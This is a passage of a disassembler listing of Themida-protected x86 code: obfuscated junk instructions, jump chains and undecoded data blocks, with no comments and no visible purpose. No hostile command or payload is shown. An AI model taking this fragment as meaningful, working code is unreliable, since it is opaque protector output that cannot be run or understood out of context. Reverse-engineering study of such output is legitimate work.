		dd 0F69AB524h, 6E5C0D5h, 0C0F0E580h, 526608EDh,	88EB8853h
		dd 5FE8E9DAh, 0E9810000h, 559AD7A8h, 0E959CD31h, 0DC60h
; ---------------------------------------------------------------------------


loc_557C98:				; CODE XREF: Themida_:00561CF2j
		mov	ebp, 7E3A7622h
		inc	ebp
		or	ebp, 4A40558Fh
		neg	ebp
		jmp	loc_56408D
; ---------------------------------------------------------------------------
		db 53h
		dd 0FFB102E9h, 0E9E189FFh, 0AB4Ah, 2404205Ch, 0AF76E99Ch
		dd 248BFFFFh, 70176824h, 14890000h, 4EC8124h, 89000000h
		dd 0C8682434h, 5E39E669h, 0EC81D6F7h, 4, 0B9240C89h, 0C6199737h
		dd 8959CE31h, 2434FFF2h, 0B521E9h, 2EF8100h, 8B74DD6Ch
		dd 1CE9242Ch, 5F0000CDh, 8324048Bh, 0EC3504C4h,	5A2B4A27h
		dd 0BD55D0F7h, 0DAEE2211h, 0E95DE801h, 150Ah, 81241C8Bh
		dd 4C4h, 4C48300h, 573FEF81h, 0C701603Bh, 573FC781h, 48B603Bh
		dd 4C48324h, 8702C783h,	248B243Ch, 0BE0F6624h, 0E1E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557D56:				; CODE XREF: Themida_:0055A943j
		sub	eax, 5A235499h
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_55B198
; ---------------------------------------------------------------------------
		dw 13BEh
		dd 4E7CD602h, 485CB951h, 0D1F71B0Bh, 4F60E9h, 241C8900h
		dd 0EB80C2B3h, 56E3D046h, 0F7E9E689h, 5A0000E6h, 6B1368h
		dd 241C8900h, 7868E9h, 4EC8100h, 89000000h, 4832424h, 515D0424h
		dd 4B9h, 0D1ED8100h, 0E910A745h, 552Ch,	8324148Bh, 55804C4h
		dd 4, 0FFE17EE9h, 5EC581FFh, 0E96AD810h, 0FFFFDE32h, 0EC81E389h
		dd 4, 97D9E9h, 24148900h, 2BAh,	5AD50100h, 2CDDE9h, 24343300h
		dd 4FF665Ch, 39E99C24h,	81FFFFAEh, 4ECh, 24048900h, 88DA8852h
		dd 8BE95AD4h, 81FFFFD2h, 97787C3h, 240C8B2Ch, 4C481h, 0C3810000h
		dd 648E2B2Dh, 0FFB985E9h, 42DFFh, 8CE90000h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	4AE50D32h
		pop	ecx
		shr	ecx, 2
		shr	ecx, 1
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		shr	ecx, 2
		shl	ecx, 5
		push	esi
		jmp	loc_564BCD
; ---------------------------------------------------------------------------


loc_557E57:				; CODE XREF: Themida_:0056509Bj
		inc	edx
		jmp	loc_5639B8
; ---------------------------------------------------------------------------
		db 80h,	0C5h, 0ECh
		dd 5724048Bh, 243C8B54h, 2578E9h, 80B4B200h, 0B45033CAh
		dd 66CCFE8Eh, 0F6E68852h, 66F488DEh, 80C4FE5Ah,	0C480B5F4h
		dd 38F480D9h, 0C9AAE9h,	4EC8100h, 89000000h, 0E068243Ch
		dd 0E94BCB21h, 0F581h
; ---------------------------------------------------------------------------


loc_557EA4:				; CODE XREF: Themida_:0055C64Bj
		pop	eax
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_564EF3
; ---------------------------------------------------------------------------


loc_557EB9:				; CODE XREF: Themida_:00557BFFj
		sub	ebx, 4A396F66h
		jmp	loc_561CDD
; ---------------------------------------------------------------------------
aSs3y		db 'Sé3y',0
		align 2
		dw 0D366h
		dd 0E99C2404h, 9198h, 4D66ED81h, 0ED8159B3h, 59A20EB1h
		dd 3AFEED81h, 0F75547A7h, 2C8B241Ch, 4C48124h, 81000000h
		dd 0D46BADF5h, 0D611E99Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557EFE:				; CODE XREF: Themida_:0055314Cj
		pop	ebp
		inc	ebp
		and	ebp, 269D6280h
		add	ebp, 7F1DA461h
		jmp	loc_55A12C
; ---------------------------------------------------------------------------
		db 89h,	0F9h, 0E9h
		dd 37A1h, 0E95AD129h, 0FFFFF5EDh, 244C295Dh, 685B5904h
		dd 31A6h, 0B9240C89h, 33850DFAh, 0D3F4E981h, 0CB0123E9h
		dd 0E9240C8Bh, 0FFFFE9CBh
; ---------------------------------------------------------------------------


loc_557F44:				; CODE XREF: Themida_:0055D73Dj
		push	5E257C2Fh
		pop	ebp
		jmp	loc_5576CB
; ---------------------------------------------------------------------------
aZPg@swISZ	db '‡,$\G@SW¿Ïi`#é\§',0
		align 2
		dw 34FFh
		dd 0EC815824h, 4, 54240489h, 40558h, 0B9510000h, 4, 98CBD55h
		dd 0E6E96A81h, 0FF0000C5h, 0C8B2434h, 4C48124h,	68000000h
		dd 28F5h, 1180E9h, 58C23100h, 55242C8Bh, 0EC815D54h, 4
		dd 0B9240C89h, 4, 8359CD01h, 76E904C5h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557FBF:				; CODE XREF: Themida_:005669BDj
		add	ebp, 4
		jmp	loc_555BF7
; ---------------------------------------------------------------------------
		db 50h
		dd 8134B4B0h, 0C188DC34h, 2CC18058h, 0FFE0A1E9h, 0B6E95BFFh
		dd 96000012h, 9714742Dh, 982A2D48h, 0C5090408h,	0DDF74558h
		dd 0EDC1D5F7h, 98ED8107h, 29F7E6ECh, 38685DE8h,	89000006h
		dd 0EC83242Ch, 4576E904h, 565D0000h, 3B769BBEh,	81DEF765h
		dd 9E081ACEh, 0BBC68158h, 2943FBA5h, 5DE95EF3h,	57FFFFF6h
		dd 4BFh, 8BFB0100h, 0C483243Ch,	4EC8104h, 89000000h, 79E9243Ch
		dd 52FFFFC9h, 88E18851h, 10C0E9CEh, 0E95F0000h,	0F43Bh
; ---------------------------------------------------------------------------


loc_558058:				; CODE XREF: Themida_:005649B2j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp


loc_55806A:				; CODE XREF: Themida_:00562739j
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	2793h
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 24615793h
		add	esi, 519D0598h
		shr	esi, 2
		xor	esi, 1D7F974Eh
		push	edx
		mov	edx, 6FA71BDCh
		and	edx, 3D110E1h
		xor	edx, 1B9D7099h
		jmp	loc_55701B
; ---------------------------------------------------------------------------


loc_5580AD:				; CODE XREF: Themida_:00552C5Aj
		push	eax
		mov	eax, 0FF41FAFh
		dec	eax
		xor	eax, 76403C73h
		sub	eax, 109D05B8h
		jmp	loc_55B7A8
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFF02858h, 148B2434h, 4C48324h, 8004C483h, 535029EBh
		dd 0BD45E952h, 0F3010000h, 7C99C381h, 895E733Fh, 6C815BD8h
		dd 2D2D0424h, 4AE93F82h
		db 0EEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5580F7:				; CODE XREF: Themida_:0055CC37j
		push	dword ptr [esp]
		jmp	loc_565554
; ---------------------------------------------------------------------------


loc_5580FF:				; CODE XREF: Themida_:0056564Cj
		pop	esp
		mov	[esp], edx
		push	ebx
		jmp	loc_55703A
; ---------------------------------------------------------------------------
		db 0F7h, 0D1h, 0E9h
		dd 7EE0h
; ---------------------------------------------------------------------------


loc_558110:				; CODE XREF: Themida_:0055E351j
		push	ecx
		push	edi
		jmp	loc_562417
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 0AB0F6624h, 0E99C2404h, 0FFFFB2A7h, 1CE9D8F7h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55812F:				; CODE XREF: Themida_:005598F9j
		sub	ebx, 1
		xor	ebx, 28CE665Fh
		push	ebx
		jmp	loc_56557C
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4C481h, 89510000h, 4C181E1h,	83000000h, 0C8704E9h, 20DBE924h
		dd 89510000h, 4C181E1h,	0E9000000h, 0A5DEh, 7530E6B9h
		dd 0A5C98175h, 491B6349h, 0C181D1F7h, 97FEE32Eh, 0C8BCA89h
		dd 4C48124h, 0E9000000h, 767Fh
; ---------------------------------------------------------------------------


loc_558190:				; CODE XREF: Themida_:00554544j
		sub	ebp, 0FDAC280Bh
		add	edx, ebp
		pop	ebp
		xor	ecx, edx
		pop	edx
		add	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 6B8E34DCh
		jmp	loc_558433
; ---------------------------------------------------------------------------


loc_5581B2:				; CODE XREF: Themida_:00561A77j
		pop	esp
		jmp	loc_5541B5
; ---------------------------------------------------------------------------
		dd 8904EC83h, 2BE9240Ch, 5900006Fh, 68AEBB53h, 0E9E94009h
		dd 68000031h, 54EA763Eh, 0C1DAF75Ah, 0B0E906E2h
		db 95h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5581DF:				; CODE XREF: Themida_:00554DC6j
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_56815C
; ---------------------------------------------------------------------------
		db 87h
		dd 36E92404h, 89000044h, 4C781E7h, 81000000h, 4EFh, 243C3300h
		dd 0E9243C31h, 0D350h, 4DE95750h, 6800000Ah, 201Eh, 0B1240C89h
		dd 66D9F689h, 802AB652h, 0F128FAC1h, 66FAE980h,	0B753665Ah
		dd 0F10CE932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558236:				; CODE XREF: Themida_:0056363Cj
		mov	[esp], edx
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		jmp	loc_567D19
; ---------------------------------------------------------------------------
		dd 0D7F7DFF7h, 17FDBB53h, 0D1E9AA3Eh
		db 0CBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55825B:				; CODE XREF: Themida_:0056473Cj
		add	bl, 6Dh
		sub	bl, dh
		push	dx
		jmp	loc_5670C2
; ---------------------------------------------------------------------------
		db 0FFh
a4Sfw		db '4$é”w',0
		dw 5B00h
		dd 0C105EFC1h, 0E95108EFh, 0A7EBh, 703249B8h, 0CF99056Eh
		dd 0F6E9FA8Ah, 5B000083h, 0E137E95Ah, 0E95B0000h, 0FFFFFD93h
; ---------------------------------------------------------------------------


loc_558298:				; CODE XREF: Themida_:00559FBDj
		add	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_566AF4
; ---------------------------------------------------------------------------
aYuw		db '^)ÎYUW¿Ó',0
		dd 0D7F7251Ah, 7E3FE9h,	2434FF00h, 0FFDB44E9h, 5FFA89FFh
		dd 0DEBF5752h, 0E91BA724h, 8973h, 4C4815Bh, 33000000h
		dd 4312404h, 24043324h,	6624248Bh, 5724148Bh, 1D685F54h
		dd 89000007h, 0E3E92434h, 0F700007Bh, 0F83540D8h, 1B008C3h
		dd 24048BC6h, 4C481h, 0EAE90000h, 0C00000A1h, 73E903EFh
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55831B:				; CODE XREF: Themida_:00554133j
		and	eax, 4E1D15AAh
		neg	eax
		push	49A6h
		mov	[esp], esi
		push	2DDDh
		mov	[esp], edx
		jmp	loc_560778
; ---------------------------------------------------------------------------


loc_558337:				; CODE XREF: Themida_:0055CF19j
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_56416B
		push	esi
		jmp	loc_565477
; ---------------------------------------------------------------------------
aFbaaasP	db 'fíí€éÒP',0
		dd 81E58100h, 0E90BD92Dh, 0FFFFC92Ah, 66243489h, 663B3ABEh
		dd 10BE681h, 0A3F8E9h, 8734FF00h, 0FFA8B3E9h, 244401FFh
		dd 835F5804h, 2C8904ECh, 4BD24h, 74E90000h, 31000013h
		dd 1C33241Ch, 2978E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5583A6:				; CODE XREF: Themida_:005623D6j
		push	edi
		mov	edi, 4
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5612F8
; ---------------------------------------------------------------------------
aMIs		db '¿¶m´iéܶ',0
		dd 22B85000h, 0E958CD62h, 0B066h, 33242C31h, 248B242Ch
		dd 4896624h, 0A84EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5583EA:				; CODE XREF: Themida_:005647C6j
		mov	[esp], edi
		jmp	loc_55E623
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 254E5857h, 2DE9CA01h, 8100002Bh, 4C4h, 81D1F600h, 4ECh
		dd 241C8900h, 0FC88CF88h, 71E9595Bh, 81FFFFADh,	0D0B64AF1h
		dd 8BC88980h, 0C481240Ch, 4, 14E9C601h
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558433:				; CODE XREF: Themida_:005581ADj
		sub	ecx, 0FFFFFFFFh
		push	edx
		sub	esp, 4
		jmp	loc_564917
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFFFA25h, 4C481h, 68660000h, 89664225h, 89522414h
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 0AD37E9h
		db 0
; ---------------------------------------------------------------------------


loc_55846D:				; CODE XREF: Themida_:00567B84j
		mov	al, 6Eh
		jmp	loc_55B432
; ---------------------------------------------------------------------------


loc_558474:				; CODE XREF: Themida_:005660B9j
		add	edx, esi
		add	edx, 3E2E4442h
		jmp	loc_561AFD
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 0CD3665Ch, 0A9E99C24h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55848F:				; CODE XREF: Themida_:0055B68Fj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55C99E
; ---------------------------------------------------------------------------
		dw 489h
		dd 402AB824h, 2E3535CDh, 8135CD40h, 774129EBh, 15ABE944h
		dd 0E2810000h, 63EA6269h, 0FFDED9E9h, 5EF501FFh, 0E95DEB31h
		dd 76A2h, 6852E689h, 147Eh, 0BF243C89h,	5ED22D86h, 8102EFC1h
		dd 3442E0EFh, 0D7F74733h, 0B779EF81h, 0FA891B7Fh, 5AD6015Fh
		dd 0FFD1B8E9h, 8AB951FFh, 81110F61h, 9E10B5E9h,	0BBBB5364h
		dd 815E4C1Ah, 0A76705EBh, 0F7D3F72Bh, 81E3D1D3h, 18A3BFEBh
		dd 5BD901EDh, 1535EB81h, 0CB292ECEh, 0F71DE9h, 6757B900h
		dd 0E9C16966h, 0AC18108h, 502F1108h, 717BF3B8h,	573E2D0Ah
		dd 0C131B996h, 4CE18158h, 0E91C6D1Ch, 6B08h, 6F6F7ABEh
		dd 5EF73177h, 1DEAEB81h, 0FB0141D1h, 4EC81h, 4890000h
		dd 1DEAB824h, 0C30141D1h, 36CAE9h, 2414F700h, 0FFEF835Fh
		dd 0E95F5057h, 1908h
; ---------------------------------------------------------------------------


loc_558590:				; CODE XREF: Themida_:005555CDj
		mov	[esp], edi
		pop	ecx
		mov	edi, [esp]
		jmp	loc_5627E6
; ---------------------------------------------------------------------------
		dd 8BC2015Bh, 89572404h, 4C781E7h, 81000000h, 4C7h, 243C8700h
		dd 8724248Bh, 0D0E92414h, 81000048h, 2C424ACDh,	0EBFDE955h
		dd 59580000h, 0DAE9F828h, 66FFFFD5h, 0A868F1F7h, 89000035h
		dd 5B54241Ch, 4C381h, 0EB830000h, 14326802h, 21E90000h
		dd 660000CDh, 81240C8Bh, 4ECh, 24048900h, 261E9h
		db 0
; ---------------------------------------------------------------------------


loc_558605:				; CODE XREF: Themida_:0055615Fj
		mov	[esp], edx
		mov	edx, 66163542h
		or	ebx, edx
		pop	edx
		xor	ebx, 8F4595Eh
		and	esi, ebx
		pop	ebx
		inc	esi
		push	edi
		mov	edi, 6E2D0C84h
		shl	edi, 2
		neg	edi
		jmp	loc_55505B
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 66000000h,	303EB353h, 885B66D8h, 24048BC6h
		dd 4C481h, 0F6800000h, 759CE92Ah, 0EA810000h, 0EA5B2CF1h
		dd 815AD189h, 6C5D9EE1h, 0B7B3E970h, 0EBC00000h, 0EDF38003h
		dd 0FFDBC9E9h, 24248BFFh, 0FA62E9h, 24D25C00h, 0B9E99C24h
		dd 81FFFFA5h, 39BA11F2h, 5AD0296Ch, 0F709E957h,	0E9520000h
		dd 0FFFFFB3Bh, 2070EB81h, 0EB010BAFh, 2070C381h, 565D0BAFh
		dd 396689BEh, 0E7E1E93Eh, 24680000h, 0E9000037h, 0B5ACh
		dd 3EC5815Dh, 55B5C235h, 2E6EBB53h, 5C293BF6h, 5E5B0424h
		dd 7081E9h
		db 0
; ---------------------------------------------------------------------------


loc_5586D1:				; CODE XREF: Themida_:00556AF4j
		movzx	cx, ah
		push	1463h
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, esp
		jmp	loc_55B9B4
; ---------------------------------------------------------------------------
		dw 6866h
		dd 34280000h, 51A9E924h, 14330000h, 24143124h, 8B241433h
		dd 31662424h, 33662404h, 31662404h, 25E92404h, 54FFFFA5h
		dd 8FBA525Dh, 835C3257h, 0C8904ECh, 4D9DB924h, 64E95B56h
		dd 500000A1h, 7E096AB8h, 0E9D8F722h, 4504h, 2985ED81h
		dd 0F5014E44h, 2985C581h, 348B4E44h, 27026824h,	1C890000h
		dd 55E38924h, 8B5771BDh, 30ED8132h, 81737E2Eh, 0D2945F5h
		dd 5DEB01BFh, 8704C383h, 41E9241Ch, 8100001Fh, 4C4h, 4C48300h
		dd 0EFA68h, 24148900h, 48304068h, 0E2C15A49h, 42D3E903h
		dd 28F0000h, 0FFA49FE9h, 21E02DFFh, 0E9504BCBh,	0CF6Dh
		dd 4244429h, 5ED6E9h, 55F58100h, 8196F1D6h, 4ECh, 24348900h
		dd 71117FBEh, 0E9F7295Ah, 32AEh, 0F280C2FEh, 0E9D10048h
		dd 4453h
; ---------------------------------------------------------------------------


loc_5587D4:				; CODE XREF: Themida_:0055CC9Cj
		xor	edi, eax
		pop	eax
		jmp	loc_55A5CC
; ---------------------------------------------------------------------------


loc_5587DC:				; CODE XREF: Themida_:00564BF1j
		add	edi, 4
		push	2D7Ah
		mov	[esp], ebx
		mov	ebx, 661A5F53h
		inc	ebx
		xor	ebx, 661A5F50h
		sub	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_5651A5
; ---------------------------------------------------------------------------
		dd 1549A4BDh, 246C3154h, 242C8B04h, 5E04C483h, 49A4F681h
		dd 62E95415h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_558823:				; CODE XREF: Themida_:005675F0j
		mov	[esp], edx
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 42794B16h
		mov	eax, 9BDFD6Dh
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 7300059Bh
		and	esi, 56357FF8h
		shr	esi, 6
		push	ebp
		mov	ebp, 1C493AF9h
		add	ebp, 0A20E7A43h
		jmp	loc_55EC93
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 4E896804h, 7EE90000h, 6600005Ch, 0E9240489h,	0FFFFA3BCh
		dd 0DBBD5559h, 299715A5h, 0B8505DE9h, 63A91421h, 505E8C1h
		dd 26A31C32h, 4CC6E9h, 0F75E5900h, 4EC81D6h, 89000000h
		dd 4FF2434h, 0F1315E24h, 0E979E9h, 4C48100h, 0E9000000h
		dd 3D0Fh, 2958C581h, 0CD81463Bh, 62AF1480h, 357C581h, 0EE011040h
		dd 0A768575Dh, 8900003Dh, 84BA2414h, 0BF46EC0Ch, 46EC0C88h
		dd 15AD729h, 0D3EE9FEh,	5A040000h, 5A2CE828h, 49E91704h
		dd 0BB0000D3h, 54CB5822h, 2CE0E9h, 0F9EB8100h, 3193AC53h
		dd 241C8BD8h, 0E9E08950h, 5DD1h
; ---------------------------------------------------------------------------


loc_558918:				; CODE XREF: Themida_:0055411Bj
		add	esp, 4
		or	edx, eax
		jmp	loc_55E329
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 6E52C9BAh, 0F5C781F1h, 0E916BC09h, 0FFFFEB3Dh, 241C875Fh
		dd 28C6045Ch, 0C6B151F0h, 0C828372Ch, 12E93704h, 57000073h
		dd 4224B3BFh, 0E4C78112h, 0E9458056h, 6F31h, 0DF84C281h
		dd 39E9EBE8h, 8300006Dh, 1EE904C4h, 800000BBh, 0C528C9EDh
		dd 0E9C9C580h, 0FFFFF4DDh, 840FC009h, 0FFFFE6D0h, 722568h
		dd 241C8900h, 822DE9h, 3AEA8100h, 0E92DB55Eh, 0D8DFh
; ---------------------------------------------------------------------------


loc_5589A0:				; CODE XREF: Themida_:0055CA84j
		shr	eax, 1
		or	eax, 604E1EA0h
		push	ebx
		mov	ebx, 0F6646F90h
		sub	eax, ebx
		pop	ebx
		jmp	loc_563503
; ---------------------------------------------------------------------------


loc_5589B5:				; CODE XREF: Themida_:005638E4j
		not	edi
		xor	edi, 59D14DAh
		add	edi, 0B5844DFh
		sub	edx, edi
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55A47E
; ---------------------------------------------------------------------------
		dd 3510E945h, 69B80000h, 1F7DBD7h, 24048BC1h, 4C481h, 0CD890000h
		dd 10532D59h, 0E8014031h, 1053BD55h, 53E94031h,	8BFFFFD0h
		dd 0E956242Ch, 90A8h, 2C781h, 3C870000h, 8B665C24h, 0BDE92404h
		dd 68000084h, 5EDC7B3Ah, 0E92434FFh, 0FFFFDD58h, 4DE9585Eh
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558A3F:				; CODE XREF: Themida_:00562583j
		inc	edi
		sub	edi, 0B80F807Dh
		sub	edx, edi
		mov	edi, [esp]
		jmp	loc_552FDE
; ---------------------------------------------------------------------------
		dd offset dword_4FE044+724h
		dd 895FE900h, 48F0000h,	903EE924h, 9D040000h, 0E3E9D828h
		dd 8100009Dh, 42404h, 565F0000h, 7974B850h, 0E8C14CE0h
		dd 55590D03h, 29353002h, 896A556Dh, 44E958C6h, 53000007h
		dd 4EC81h, 24890000h, 24048324h, 0C3815B04h, 4,	3304EB83h
		dd 1C31241Ch, 241C3324h, 2404895Ch, 24048B54h, 91E95452h
		db 0E8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_558ABF:				; CODE XREF: Themida_:00553A8Ej
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	esi
		jmp	loc_565453
; ---------------------------------------------------------------------------
		dd 6419E955h, 34890000h, 0BC57E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558AE2:				; CODE XREF: Themida_:005542A9j
		push	eax
		mov	eax, 30022E0Fh
		sub	ecx, 61E02684h
		sub	ecx, eax
		add	ecx, 61E02684h
		pop	eax
		sub	ecx, 16637366h
		push	ebx
		jmp	loc_554327
; ---------------------------------------------------------------------------


loc_558B03:				; CODE XREF: Themida_:0055E52Dj
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_55E6AE
; ---------------------------------------------------------------------------
aBlKwqiSn	db 'l$',8,'kwqI)|$',8,'é­¸',0
		dd 0B1BE5600h, 3114F436h, 0C2895EF0h, 582434FFh, 4C481h
		dd 81590000h, 19485BEAh, 4E2C122h, 38CCC281h, 0EAC13806h
		dd 51DAF708h, 0DE186CB9h, 0E9CA31FFh, 0FFFFC215h, 4EC81h
		dd 4890000h, 68E08924h,	6B2Ah, 0E9243C89h, 0FFFFA7A3h
		dd 0BB19EE81h, 0D6F758A7h, 142468h, 24048900h, 0AC3CE9h
		dd 0F7295B00h, 81D7015Eh, 0F3655EC7h, 24148B24h, 4C481h
		dd 0A7E90000h, 810000A3h, 4C4h,	0FEC58100h, 0E9308F44h
		dd 0D611h, 1646C381h, 0DF01B53Ch, 81241C8Bh, 4C4h, 3AE95500h
		dd 480000CBh, 76BD5557h, 0BF40F629h, 4E823957h,	295DEF29h
		dd 47095FF8h, 24048B1Ch, 81E78957h, 4C7h, 4C78300h, 5C243C87h
		dd 0FFA043E9h, 4C681FFh, 52000000h, 404AE9h, 54565800h
		dd 0E924348Bh, 0FFFFFD5Fh, 1AB7E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558C12:				; CODE XREF: Themida_:0055E11Cj
		push	edx
		jmp	loc_563D0F
; ---------------------------------------------------------------------------


loc_558C18:				; CODE XREF: Themida_:0056539Ej
		xor	ecx, edi
		neg	ecx
		push	edi
		push	ebp
		jmp	loc_563E08
; ---------------------------------------------------------------------------
		db 31h
		dd 0F0015AD6h, 0E246E9h, 2BC28100h, 31FA12ADh, 558EE9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558C3A:				; CODE XREF: Themida_:0055D945j
		push	4861h
		push	3DAEh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_55C26E
; ---------------------------------------------------------------------------


loc_558C5B:				; CODE XREF: Themida_:00564474j
		jmp	loc_552C38
; ---------------------------------------------------------------------------
		dd 0E5881BFh, 5FF88952h, 0F1A78105h, 1E0AE9ADh,	0B80000h
		dd 89000000h, 0A86EE9C3h, 615C0000h, 0B1E9C39Dh, 0B6FFFF9Fh
		dd 5AF0009Bh, 5399045Bh, 9FDBE9h
		db 0
; ---------------------------------------------------------------------------


loc_558C95:				; CODE XREF: Themida_:00563642j
		mov	ebp, 1D01276Bh
		mov	esi, 0E2FED915h
		sub	esi, 1FF83234h
		jmp	loc_5665BF
; ---------------------------------------------------------------------------
		dw 0C87h
aS_7		db '$é',0Dh,')',0
		align 2
		dw 0C729h
		dd 22C4C781h, 92E908DAh, 0F70000F4h, 30F168E9h,	14890000h
		dd 0E99C5024h, 0FFFF9F68h, 0E924048Fh, 5077h, 5DDAC381h
		dd 0BA524FE5h, 67751A23h, 8104E2C1h, 0F61ECFC2h, 71C2810Fh
		dd 420F6523h, 66F28142h, 29891E88h, 0FB295AD3h,	6C14C381h
		dd 0EB811FB2h, 4FE55DDAh, 5F2434FFh, 0FFC9DAE9h, 4C381FFh
		dd 83000000h, 1C8704EBh, 4895C24h, 2474FF24h, 7749E904h
		dd 4810000h, 0DB100B24h, 242C812Dh, 4D53149Fh, 3D5ABA52h
		dd 0E2815BB2h, 0D381833h, 61D8E9h
		db 0
; ---------------------------------------------------------------------------


loc_558D4D:				; CODE XREF: Themida_:00565C85j
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	8D2h
		mov	[esp], eax
		jmp	loc_556831
; ---------------------------------------------------------------------------


loc_558D65:				; CODE XREF: Themida_:005537ADj
		pop	esi
		and	eax, ebp
		pop	ebp
		sub	eax, 160C63CBh
		sub	eax, 3DBA07AAh
		push	esi
		jmp	loc_55CC8C
; ---------------------------------------------------------------------------
aRps		db 'RPéË',0Ah,0
		align 10h
		dd 2C8BE829h, 4C48324h,	0EC83E829h, 24348904h, 0A3392FBEh
		dd 5DBDE919h, 0CE810000h, 332B1EB0h, 1296E9h, 24048700h
		dd 61F5E9h, 0B4BE5600h,	0E979AB2Ah, 0FFFFC2EDh,	2434875Ah
		dd 8924248Bh, 0EC812414h, 4, 57241C89h,	591F6CBFh, 0D4C78160h
		dd 81393838h, 163106F7h, 5FFB8981h, 0F386E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558DE6:				; CODE XREF: Themida_:00552EE3j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_56167F
; ---------------------------------------------------------------------------
		dd 0ED81D5F7h, 0E4F210C9h, 0A164E953h, 0E9570000h, 76C4h
		dd 0E9241487h, 854Ch, 24048B66h, 815B5453h, 4C3h, 0C952E900h
		dd 48F0000h, 24248B24h,	0FF9E07E9h, 460C68FFh, 2C890000h
		dd 15CFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558E3E:				; CODE XREF: Themida_:0055E74Fj
		mov	[esp], ebp
		mov	ebp, 74F9285Dh
		shr	ebp, 1
		neg	ebp
		add	ebp, 0FFFFFFFFh
		jmp	loc_5540AC
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0BA520000h, 2, 0FFF0B3E9h, 6866FFh, 24142800h
		dd 8324148Ah, 0C28002C4h, 5AD028D6h, 0FF9E0CE9h, 4C681FFh
		dd 87000000h, 1CE92434h, 81FFFFC3h, 0DE1E53C3h,	9CE4E932h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558E96:				; CODE XREF: Themida_:0055FCAFj
		push	1D40h
		mov	[esp], ecx
		jmp	loc_559881
; ---------------------------------------------------------------------------
aUs_q		db 'Ué_q',0
		db 0
; ---------------------------------------------------------------------------


loc_558EA9:				; CODE XREF: Themida_:00566AEFj
		or	ecx, 53A217A1h
		sub	ecx, 0E262BE47h
		xor	edi, ecx
		jmp	loc_55F929
; ---------------------------------------------------------------------------


loc_558EBC:				; CODE XREF: Themida_:00553B6Cj
		add	esi, 4
		jmp	loc_567E56
; ---------------------------------------------------------------------------


loc_558EC4:				; CODE XREF: Themida_:00559375j
		push	ebp
		mov	ebp, 2C194F74h
